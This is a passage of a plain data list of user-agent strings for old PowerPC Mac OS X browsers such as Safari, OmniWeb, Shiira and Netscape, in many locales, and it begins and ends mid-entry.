Safari/125.8\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/125.2 (KHTML, like Gecko) Safari/85.8\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/125.4 (KHTML, like Gecko) Safari/100\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/125.4 (KHTML, like Gecko) Safari/125.9\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/125.5 (KHTML, like Gecko) Safari/125.9\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/125.5.5 (KHTML, like Gecko) Safari/125\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/125.5.5 (KHTML, like Gecko) Safari/125.11\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/125.5.5 (KHTML, like Gecko) Safari/125.12\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/125.5.5 (KHTML, like Gecko) Safari/125.5.5\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/125.5.6 (KHTML, like Gecko) Safari/125.12\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/125.5.7 (KHTML, like Gecko) Safari/125.12\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/312.1 (KHTML, like Gecko) Safari/312\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/312.1.1 (KHTML, like Gecko) Safari/312\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/312.5 (KHTML, like Gecko) Safari/312.3\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/312.5.1 (KHTML, like Gecko) Safari/125.9\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/312.5.1 (KHTML, like Gecko) Safari/312.3.1\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/312.5.2 (KHTML, like Gecko) Safari/125\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/312.5.2 (KHTML, like Gecko) Safari/312.3.3\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/312.8 (KHTML, like Gecko) Safari/312.3.3\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/312.8 (KHTML, like Gecko) Safari/312.5\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/312.8 (KHTML, like Gecko) Safari/312.6\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/312.8.1 (KHTML, like Gecko) Safari/312.6\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/412 (KHTML, like Gecko) Safari/412\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/412.6 (KHTML, like Gecko) Safari/412.2\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/412.6.2 (KHTML, like Gecko)\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/412.6.2 (KHTML, like Gecko) Safari/412.2.2\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/412.7 (KHTML, like Gecko) Safari/412.5\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/412.7 (KHTML, like Gecko) Safari/412.6\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/416.11 (KHTML, like Gecko)\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/416.11 (KHTML, like Gecko) Safari/416.12\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/416.12 (KHTML, like Gecko) Safari/416.13\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/417.9 (KHTML, like Gecko)\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/417.9 (KHTML, like Gecko) Hana/1.0\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/417.9 (KHTML, like Gecko) NetNewsWire/2.0.1\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/417.9 (KHTML, like Gecko) Safari/416.13\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.9.2\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/417.9 (KHTML, like Gecko, Safari) Shiira/1.1\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/418 (KHTML, like Gecko)\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/418 (KHTML, like Gecko) Safari/412.2\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/418 (KHTML, like Gecko) Safari/417.9.2\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/418 (KHTML, like Gecko) Safari/417.9.3\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/418.8 (KHTML, like Gecko)\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/418.8 (KHTML, like Gecko) NetNewsWire/2.1.1\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/418.8 (KHTML, like Gecko) Safari/419.3\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/418.8 (KHTML, like Gecko, Safari)\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/418.8 (KHTML, like Gecko, Safari) Cheshire/1.0.UNOFFICIAL\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/418.9 (KHTML, like Gecko)\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/418.9 (KHTML, like Gecko) AppleWebKit/418.9 Cheshire/1.0.ALPHA\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/418.9 (KHTML, like Gecko) Hana/1.1\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/418.9 (KHTML, like Gecko) Safari/419.3\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/418.9 (KHTML, like Gecko) Safari/419.3 Cheshire/1.0.ALPHA\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/418.9 (KHTML, like Gecko) Shiira/1.2.2 Safari/125\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/418.9 (KHTML, like Gecko, Safari) Safari/419.3 Cheshire/1.0.ALPHA\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/418.9 (KHTML, like Gecko, Safari/111) Cheshire/1.0.ALPHA\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/418.9 (KHTML, like Safari) Cheshire/1.0.ALPHA\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/418.9.1 (KHTML, like Gecko) Safari/419.3\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/419 (KHTML, like Gecko) Safari/419.3\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/419 (KHTML, like Gecko) Shiira Safari/125\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/419 (KHTML, like Gecko) Shiira/1.2.2 Safari/125\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/419 (KHTML, like Gecko) Shiira/1.2.3 Safari/125\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/419 (KHTML, like Gecko, Safari/419.3) Cheshire/1.0.ALPHA\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/419.2.1 (KHTML, like Gecko) Shiira Safari/125\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/419.3 (KHTML, like Gecko) Shiira Safari/125\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/522+ (KHTML, like Gecko) OmniWeb\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/522.10.1 (KHTML, like Gecko) Shiira Safari/125\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/522.10.1 (KHTML, like Gecko) Shiira/1.2.2 Safari/125\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/522.10.1 (KHTML, like Gecko) Version/3.0 Safari/522.11\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/522.11 (KHTML, like Gecko) Version/3.0.2 Safari/522.12\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/522.11.1 (KHTML, like Gecko) Shiira Safari/125\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/522.11.1 (KHTML, like Gecko) Version/3.0.3 Safari/522.12.1\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/522.8.2 (KHTML, like Gecko) Version/3.0 Safari/522.8.3\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/523.3+ (KHTML, like Gecko) Version/3.0.3 Safari/522.12.1\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/85.8.2 (KHTML, like Gecko) Safari/85.8.1\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/85.8.5 (KHTML, like Gecko) Safari/85.8.1\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.15\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.59\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.60\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.66\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/420+ (KHTML, like Gecko, Safari) OmniWeb/v595\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/420+ (KHTML, like Gecko, Safari/420) OmniWeb/v601\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/420+ (KHTML, like Gecko, Safari/420) OmniWeb/v602\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/420+ (KHTML, like Gecko, Safari/420) OmniWeb/v603\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/420+ (KHTML, like Gecko, Safari/420) OmniWeb/v605\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/85 (KHTML, like Gecko) OmniWeb/v496\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/xx (KHTML like Gecko) OmniWeb/v5xx.xx\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US; rv:0.9.4.1) Gecko/20020508 Netscape6/6.2.3\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US; rv:1.0.0) Gecko/20020529\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US; rv:1.0.1) Gecko/20020823 Netscape/7.0\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US; rv:1.0.1) Gecko/20021104 Chimera/0.6\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US; rv:1.0.1) Gecko/20021111 Chimera/0.6\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US; rv:1.0.2) Gecko/20021120 Netscape/7.01\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US; rv:1.1) Gecko/20020826\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US; rv:1.1a) Gecko/20020610\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US; rv:1.2) Gecko/20021126\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US; rv:1.2.1) Gecko/20021130\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US; rv:1.2b) Gecko/20021016\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en-au) AppleWebKit/125.4 (KHTML, like Gecko) Safari/125.9\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en-ca) AppleWebKit/416.11 (KHTML, like Gecko) Safari/416.12\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en-gb) AppleWebKit/125.2 (KHTML, like Gecko) Safari/125.8\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en-gb) AppleWebKit/85.8.5 (KHTML, like Gecko) Safari/85.8.1\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/124 (KHTML, like Gecko) Safari/125\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/125.2 (KHTML, like Gecko) Safari/125.7\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/125.4 (KHTML, like Gecko) Safari/125.9\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/125.5.5 (KHTML, like Gecko) Safari/125.11\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/125.5.5 (KHTML, like Gecko) Safari/125.12\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/125.5.6 (KHTML, like Gecko) Safari/125.12\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/125.5.7 (KHTML, like Gecko) Safari/125.12\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/125.5.7 (KHTML, like Gecko) SunriseBrowser/0.833\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/125.5.7 (KHTML, like Gecko) SunriseBrowser/0.84\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/125.5.7 (KHTML, like Gecko) SunriseBrowser/0.853\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/125.5.7 (KHTML, like Gecko) SunriseBrowser/0.895\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/312.1 (KHTML, like Gecko)\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/312.1 (KHTML, like Gecko) Safari/312\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/312.5 (KHTML, like Gecko) Safari/312.3\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/312.5.1 (KHTML, like Gecko) Safari/312.3.1\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/312.8 (KHTML, like Gecko) Safari/312.5\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/312.8 (KHTML, like Gecko) Safari/312.6\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/312.8.1 (KHTML, like Gecko) Safari/312.6\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/412 (KHTML, like Gecko) Safari/412\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/412 (KHTML, like Gecko) Safari/412 Privoxy/3.0\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/412.6 (KHTML, like Gecko) Safari/412.2\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/412.7 (KHTML, like Gecko) Safari/412.5\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/416.11 (KHTML, like Gecko) Safari/416.12\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/416.12 (KHTML, like Gecko) Safari/416.13\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/417.9 (KHTML, like Gecko) NetNewsWire/2.0\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.9.2\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/418 (KHTML, like Gecko) Safari/417.9.2\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/418.8 (KHTML, like Gecko) Safari/419.3\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/418.9 (KHTML, like Gecko) Safari/419.3\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/419 (KHTML, like Gecko) Safari/419.3\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/419 (KHTML, like Gecko) Shiira Safari/125\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/522+ (KHTML, like Gecko) Version/3.0 Safari/522.11\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/522+ (KHTML, like Gecko) Version/3.0.2 Safari/522.12\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/522.10.1 (KHTML, like Gecko) Version/3.0 Safari/522.11\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/522.11 (KHTML, like Gecko) Version/3.0.2 Safari/522.12\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/523.10.3 (KHTML, like Gecko) Version/3.0.4 Safari/523.10\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/523.15.1 (KHTML, like Gecko) Shiira Safari/125\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/523.6 (KHTML, like Gecko) Version/3.0.3 Safari/523.6\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/85.7 (KHTML, like Gecko) Safari/85.5\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/85.7 (KHTML, like Gecko) Safari/85.6\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/85.8.2 (KHTML, like Gecko) Safari/85.8\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/85.8.5 (KHTML, like Gecko) Safari/85.8.1\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/xxx.x (KHTML like Gecko) Safari/12x.x\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en_CA) AppleWebKit/125.4 (KHTML, like Gecko) Safari/125.9\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en_CA) AppleWebKit/419 (KHTML, like Gecko) Safari/419.3\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en_CA) AppleWebKit/522+ (KHTML, like Gecko) Shiira/1.2.3 Safari/125\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en_GB; rv:1.0.1) Gecko/20020823 Netscape/7.0\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en_US) AppleWebKit/412 (KHTML, like Gecko) Safari/412\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; es) AppleWebKit/312.5.1 (KHTML, like Gecko) Safari/312.3.1\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; es) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; es) AppleWebKit/418 (KHTML, like Gecko) Safari/417.9.3\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; es) AppleWebKit/419 (KHTML, like Gecko) Safari/419.3\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; es-ES) AppleWebKit/412 (KHTML, like Gecko) Safari/412\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; es-es) AppleWebKit/125.2 (KHTML, like Gecko) Safari/125.8\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; es-es) AppleWebKit/312.5.2 (KHTML, like Gecko) Safari/312.3.3\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; es-es) AppleWebKit/418.8 (KHTML, like Gecko) Safari/419.3\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; fi-fi) AppleWebKit/418.8 (KHTML, like Gecko) Safari/419.3\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; fi-fi) AppleWebKit/420+ (KHTML, like Gecko) Safari/419.3\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; fr) AppleWebKit/312.5 (KHTML, like Gecko) Safari/312.3\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; fr) AppleWebKit/312.5.1 (KHTML, like Gecko) Safari/312.3.1\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; fr) AppleWebKit/312.5.2 (KHTML, like Gecko) Safari/312.3.3\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; fr) AppleWebKit/312.8 (KHTML, like Gecko) Safari/312.5\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; fr) AppleWebKit/412 (KHTML, like Gecko) Safari/412\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; fr) AppleWebKit/412.6 (KHTML, like Gecko) Safari/412.2\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; fr) AppleWebKit/412.7 (KHTML, like Gecko) Safari/412.5\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; fr) AppleWebKit/416.11 (KHTML, like Gecko) Safari/416.12\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; fr) AppleWebKit/416.12 (KHTML, like Gecko) Safari/412.5\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; fr) AppleWebKit/416.12 (KHTML, like Gecko) Safari/416.13\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; fr) AppleWebKit/416.12 (KHTML, like Gecko) Safari/416.13_Adobe\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; fr) AppleWebKit/417.9 (KHTML, like Gecko)\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; fr) AppleWebKit/417.9 (KHTML, like Gecko) NetNewsWire/2.0.1\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; fr) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; fr) AppleWebKit/418.9.1 (KHTML, like Gecko) Safari/419.3\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; fr) AppleWebKit/85.7 (KHTML, like Gecko) Safari/85.5\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; fr) AppleWebKit/85.8.5 (KHTML, like Gecko) Safari/85.8.1\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-FR; rv:0.9.4.1) Gecko/20020315 Netscape6/6.2.2\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-FR; rv:1.0.2) Gecko/20030208 Netscape/7.02\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-ca) AppleWebKit/312.1 (KHTML, like Gecko) Safari/312\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-ch) AppleWebKit/125.5.5 (KHTML, like Gecko) Safari/125.11\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-ch) AppleWebKit/125.5.5 (KHTML, like Gecko) Safari/125.12\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-ch) AppleWebKit/312.1.1 (KHTML, like Gecko) Safari/312\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-fr) AppleWebKit/125.4 (KHTML, like Gecko) Safari/125.9\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-fr) AppleWebKit/125.5 (KHTML, like Gecko) Safari/125.9\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-fr) AppleWebKit/125.5.5 (KHTML, like Gecko) Safari/125.11\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-fr) AppleWebKit/125.5.5 (KHTML, like Gecko) Safari/125.12\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-fr) AppleWebKit/125.5.6 (KHTML, like Gecko) Safari/125.12\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-fr) AppleWebKit/312.1 (KHTML, like Gecko) Safari/125\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-fr) AppleWebKit/312.1 (KHTML, like Gecko) Safari/312\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-fr) AppleWebKit/312.1.1 (KHTML, like Gecko) Safari/312\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-fr) AppleWebKit/312.5 (KHTML, like Gecko) Safari/312.3\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-fr) AppleWebKit/312.5.1 (KHTML, like Gecko) Safari/312.3.1\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-fr) AppleWebKit/312.5.2 (KHTML, like Gecko) Safari/312.3.3\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-fr) AppleWebKit/312.8 (KHTML, like Gecko) Safari/312.5\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-fr) AppleWebKit/312.8 (KHTML, like Gecko) Safari/312.6\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-fr) AppleWebKit/412 (KHTML, like Gecko) Safari/412\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-fr) AppleWebKit/412.7 (KHTML, like Gecko) Safari/412.5\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-fr) AppleWebKit/416.11 (KHTML, like Gecko) Safari/416.12\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-fr) AppleWebKit/416.12 (KHTML, like Gecko) Safari/416.13\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-fr) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-fr) AppleWebKit/523.10.3 (KHTML, like Gecko) Version/3.0.4 Safari/523.10\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-fr) AppleWebKit/85.7 (KHTML, like Gecko) Safari/85.5\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-fr) AppleWebKit/85.8.5 (KHTML, like Gecko) Safari/85.8.1\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; it-IT) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.15\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; it-it) AppleWebKit/124 (KHTML, like Gecko) Safari/125.1\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; it-it) AppleWebKit/312.1 (KHTML, like Gecko) Safari/312\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; it-it) AppleWebKit/312.5.1 (KHTML, like Gecko) Safari/312.3.1\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; it-it) AppleWebKit/312.8 (KHTML, like Gecko) Safari/312.6\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; it-it) AppleWebKit/412.6 (KHTML, like Gecko) Safari/412.2\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; it-it) AppleWebKit/412.7 (KHTML, like Gecko) Safari/412.5\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; it-it) AppleWebKit/416.12 (KHTML, like Gecko) Safari/416.13\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; it-it) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; it-it) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.9.2\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; it-it) AppleWebKit/418.9 (KHTML, like Gecko) Safari/419.3\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; it-it) AppleWebKit/419 (KHTML, like Gecko) Safari/419.3\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/125.4 (KHTML, like Gecko) Safari/125.9\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/312.5.1 (KHTML, like Gecko) Safari/312.3.1\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/412.7 (KHTML, like Gecko) Safari/412.5\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/416.12 (KHTML, like Gecko) Safari/416.13\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/418.9 (KHTML, like Gecko) Safari/419.3\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/418.9.1 (KHTML, like Gecko) Safari/419.3\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/419 (KHTML, like Gecko) Shiira/1.2.3 Safari/125\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/85.7 (KHTML, like Gecko) Safari/85.5\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; nb-no) AppleWebKit/416.12 (KHTML, like Gecko) 